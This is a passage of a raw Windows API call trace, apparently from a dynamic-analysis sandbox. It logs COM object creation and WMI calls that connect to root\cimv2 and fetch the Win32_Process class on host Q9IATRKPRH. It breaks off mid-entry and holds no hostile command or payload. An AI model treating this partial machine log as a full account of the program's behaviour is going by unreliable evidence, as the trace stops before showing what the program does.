Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0142.881] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0142.881] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0142.881] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.882] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bc6fc40) returned 0x0 [0142.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6fc40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0142.883] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6fc40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bcda360) returned 0x0 [0142.883] WbemDefPath:IUnknown:Release (This=0x1bc6fc40) returned 0x0 [0142.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda360, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bcda360) returned 0x0 [0142.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda360, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0142.883] WbemDefPath:IUnknown:AddRef (This=0x1bcda360) returned 0x3 [0142.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda360, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0142.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda360, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0142.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda360, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bc6fc80) returned 0x0 [0142.883] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6fc80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.883] WbemDefPath:IUnknown:Release (This=0x1bc6fc80) returned 0x3 [0142.883] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0142.883] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0142.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda360, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0142.883] WbemDefPath:IUnknown:Release (This=0x1bcda360) returned 0x2 [0142.883] WbemDefPath:IUnknown:Release (This=0x1bcda360) returned 0x1 [0142.883] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0142.884] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0142.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda360, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bcda360) returned 0x0 [0142.884] WbemDefPath:IUnknown:AddRef (This=0x1bcda360) returned 0x3 [0142.884] WbemDefPath:IUnknown:Release (This=0x1bcda360) returned 0x2 [0142.884] WbemDefPath:IWbemPath:SetText (This=0x1bcda360, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0142.884] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda360, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0142.884] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda360, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0142.884] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda360, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.884] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0142.884] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0142.884] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0142.884] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.885] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bc6fa00) returned 0x0 [0142.885] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fa00, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0142.885] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc6fa00, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bc6fa80) returned 0x0 [0142.885] WbemLocator:IUnknown:Release (This=0x1bc6fa00) returned 0x0 [0142.885] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fa80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bc6fa80) returned 0x0 [0142.885] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fa80, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0142.886] WbemLocator:IUnknown:AddRef (This=0x1bc6fa80) returned 0x3 [0142.886] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fa80, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0142.886] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fa80, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0142.886] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fa80, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0142.886] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0142.886] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0142.886] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fa80, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0142.886] WbemLocator:IUnknown:Release (This=0x1bc6fa80) returned 0x2 [0142.886] WbemLocator:IUnknown:Release (This=0x1bc6fa80) returned 0x1 [0142.886] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0142.886] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0142.886] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fa80, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc6fa80) returned 0x0 [0142.886] WbemLocator:IUnknown:AddRef (This=0x1bc6fa80) returned 0x3 [0142.886] WbemLocator:IUnknown:Release (This=0x1bc6fa80) returned 0x2 [0142.886] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda360, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0142.886] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda360, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0142.886] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda360, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.886] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bc6faa0) returned 0x0 [0142.886] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc6faa0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bb81560) returned 0x0 [0143.051] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81560, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bc423e0) returned 0x0 [0143.052] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc423e0, pProxy=0x1bb81560, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0143.052] WbemLocator:IUnknown:Release (This=0x1bc423e0) returned 0x1 [0143.052] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81560, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bc42420) returned 0x0 [0143.052] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81560, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bc423e0) returned 0x0 [0143.052] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc423e0, pProxy=0x1bb81560, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0143.052] WbemLocator:IUnknown:Release (This=0x1bc423e0) returned 0x2 [0143.052] WbemLocator:IUnknown:Release (This=0x1bc42420) returned 0x1 [0143.052] CoTaskMemFree (pv=0x1bcc32e0) [0143.052] WbemLocator:IUnknown:AddRef (This=0x1bb81560) returned 0x2 [0143.052] WbemLocator:IUnknown:Release (This=0x1bc6faa0) returned 0x0 [0143.053] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0143.053] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0143.053] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81560, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bc423f0) returned 0x0 [0143.053] WbemLocator:IRpcOptions:Query (in: This=0x1bc423f0, pPrx=0x1bc6f9c0, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0143.053] WbemLocator:IUnknown:Release (This=0x1bc423f0) returned 0x2 [0143.053] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0143.053] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0143.053] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81560, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bb81560) returned 0x0 [0143.053] WbemLocator:IUnknown:Release (This=0x1bb81560) returned 0x2 [0143.053] SysStringLen (param_1=0x0) returned 0x0 [0143.053] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda360, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0143.053] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda360, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0143.054] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda360, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0143.054] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda060, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0143.054] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda060, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0143.054] IWbemServices:GetObject (in: This=0x1bb81560, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1aa27760, ppCallResult=0x0) returned 0x0 [0143.057] IWbemClassObject:Get (in: This=0x1aa27760, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0143.057] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0143.057] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0143.058] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0143.058] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0143.058] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0143.058] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.060] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bc6faa0) returned 0x0 [0143.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6faa0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0143.060] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6faa0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bcda420) returned 0x0 [0143.060] WbemDefPath:IUnknown:Release (This=0x1bc6faa0) returned 0x0 [0143.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda420, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bcda420) returned 0x0 [0143.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda420, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0143.060] WbemDefPath:IUnknown:AddRef (This=0x1bcda420) returned 0x3 [0143.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda420, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0143.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda420, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0143.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda420, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bc6fac0) returned 0x0 [0143.061] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6fac0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0143.061] WbemDefPath:IUnknown:Release (This=0x1bc6fac0) returned 0x3 [0143.061] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0143.061] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0143.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda420, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0143.061] WbemDefPath:IUnknown:Release (This=0x1bcda420) returned 0x2 [0143.061] WbemDefPath:IUnknown:Release (This=0x1bcda420) returned 0x1 [0143.061] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0143.061] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0143.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda420, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bcda420) returned 0x0 [0143.061] WbemDefPath:IUnknown:AddRef (This=0x1bcda420) returned 0x3 [0143.061] WbemDefPath:IUnknown:Release (This=0x1bcda420) returned 0x2 [0143.061] WbemDefPath:IWbemPath:SetText (This=0x1bcda420, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0143.061] IWbemClassObject:Get (in: This=0x1aa27760, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0143.061] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0143.062] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0143.062] IWbemClassObject:Get (in: This=0x1aa27760, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, 